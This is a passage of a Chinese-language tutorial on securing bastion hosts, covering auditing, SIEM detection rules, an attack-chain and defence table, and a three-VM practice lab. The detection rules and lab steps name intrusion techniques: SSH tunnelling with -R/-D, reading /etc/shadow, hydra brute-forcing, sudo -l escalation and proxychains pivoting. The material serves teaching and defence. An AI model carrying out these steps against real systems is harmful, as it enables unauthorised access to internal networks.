角色定义示例: - 初级运维: 仅能访问测试服务器,仅读权限 - 数据库管理员: 仅能访问数据库服务器,不能访问应用服务器 - 网络管理员: 仅能访问网络设备 - 审计员: 仅能查看日志,无操作权限
4. 会话管理与审计
yaml
# 必须记录的内容:
1. 完整的操作录像(SSH/RDP会话录像)
2. 所有执行的命令(即使通过vim、cat等间接执行)
3. 文件上传/下载记录
4. 会话开始/结束时间、源IP
5. 权限变更记录
# 审计策略:
- 禁止会话共享(一人一会话)
- 会话超时自动断开(如空闲30分钟)
- 高危命令二次确认(如rm -rf, chmod 777)
- 操作审批流程(敏感操作需主管审批)
- 日志集中存储,且不可本地删除(实时发送到SIEM)
5. 应用层安全(针对商业堡垒机)
- 及时更新:关注厂商安全公告,第一时间打补丁
- 自定义安全配置 :
- 修改默认端口(非22/3389)
- 删除默认账户,修改默认密码
- 关闭不必要的功能模块
- 定期渗透测试:雇佣第三方对堡垒机进行安全评估
6. 应急响应与监控
bash
# 监控异常指标
1. 异常时间登录(如凌晨2点)
2. 异常地理位置登录
3. 频繁登录失败
4. 同一账户多地同时登录
5. 执行异常命令(如whoami, sudo -l, passwd修改)
6. 大量数据外传(带宽监控)
# 实时告警示例(SIEM规则)
# 当在1分钟内,同一用户从5个不同IP尝试登录时触发告警
# 当用户执行"ssh -R"或"ssh -D"时触发告警
# 当非管理员用户访问/etc/shadow时触发告警
第四部分:攻击链与防御矩阵
让我们用一个攻击链示例总结,并对应防御措施:
| 攻击阶段 | 典型攻击技术 | 对应防御措施 |
|---|---|---|
| 侦察 | 端口扫描、子域名爆破 | 隐藏堡垒机(非标准端口)、CDN/WAF隐藏真实IP |
| 初始访问 | SSH弱口令爆破、Web漏洞 | MFA强制启用、漏洞及时修补、WAF防护 |
| 权限提升 | 内核漏洞、sudo配置错误 | 最小权限原则、定期漏洞扫描、补丁管理 |
| 持久化 | SSH后门、定时任务 | 文件完整性监控、行为基线分析 |
| 横向移动 | SSH密钥窃取、SOCKS代理 | 网络微隔离、会话审计、命令白名单 |
| 数据窃取 | 压缩后外传、DNS隧道 | 出站流量监控、DLP数据防泄漏 |
第五部分:实战实验环境搭建
1. 搭建一个简易靶场
bash
# 使用3台虚拟机模拟环境
# 机器1: 攻击者(Kali Linux) - 模拟外网攻击者
# 机器2: 堡垒机(Ubuntu Server) - 双网卡
# eth0: NAT网络(模拟公网IP)
# eth1: 仅主机网络(模拟内网)
# 机器3: 内网服务器(Windows Server或Linux) - 仅主机网络
# 在堡垒机上配置SSH转发
# /etc/ssh/sshd_config 添加:
AllowTcpForwarding yes
GatewayPorts yes
# 设置简单的iptables规则
iptables -A FORWARD -i eth1 -o eth0 -j DROP # 禁止内网主动出网
iptables -A FORWARD -i eth0 -o eth1 -m state --state ESTABLISHED,RELATED -j ACCEPT
2. 攻击实验步骤
- 信息收集:nmap扫描堡垒机
- 暴力破解:使用hydra尝试SSH爆破
- 提权实验:如果获得普通用户,尝试sudo -l提权
- 隧道建立:建立SSH动态转发,通过proxychains访问内网
- 横向移动:从堡垒机ssh到内网服务器
3. 防御实验步骤
- 配置MFA:为SSH配置Google Authenticator
- 配置审计:安装并配置auditd记录所有命令
- 配置网络限制:使用iptables限制出站连接
- 配置会话录制:安装tlog或配置商业堡垒机
第六部分:高级话题与趋势
1. 零信任架构下的堡垒机演进
传统的边界模型正在向"从不信任,始终验证"转变:
- 身份网关:取代传统堡垒机,每次访问都需要验证身份和设备健康状态
- 动态访问控制:基于上下文(时间、位置、设备指纹)动态调整权限
- 微隔离:即使在内网,服务间访问也需要认证授权
2. 云堡垒机服务
- AWS Systems Manager Session Manager(无需公网IP)
- Azure Bastion(通过浏览器直接访问RDP/SSH)
- GCP IAP Tunnel(身份识别代理)
- 优势:与云平台原生集成,自带审计日志
3. 威胁狩猎场景
针对堡垒机的可疑行为狩猎:
- 异常时间运维:查找凌晨的运维操作
- 异常命令序列 :
whoami → sudo -l → cat /etc/shadow - 数据外传模式:从堡垒机向外部地址的大量SCP/SFTP传输
总结
堡垒机作为内外网的唯一通道 ,其安全性至关重要。攻击者会不遗余力地寻找其弱点,因为这是进入内网的捷径。
核心安全原则:
- 最小权限:用户只能访问必需的系统
- 深度防御:网络层、系统层、应用层、审计层多重防护
- 不可抵赖:完整记录所有操作,确保可追溯
- 持续监控:实时检测异常行为,快速响应
建议:
- 理解原理:不仅学攻击技术,更要理解堡垒机的设计初衷和信任模型
- 动手实验:搭建靶场,亲自攻防,理解每个配置项的安全含义
- 关注日志:学习如何从海量审计日志中挖掘攻击线索
- 思考演进:传统堡垒机在云原生、零信任环境下的演变
堡垒机是网络安全的"要塞",它的陷落往往意味着整个内网的失守。因此,对其安全的研究需要系统性的思维和持续的关注。
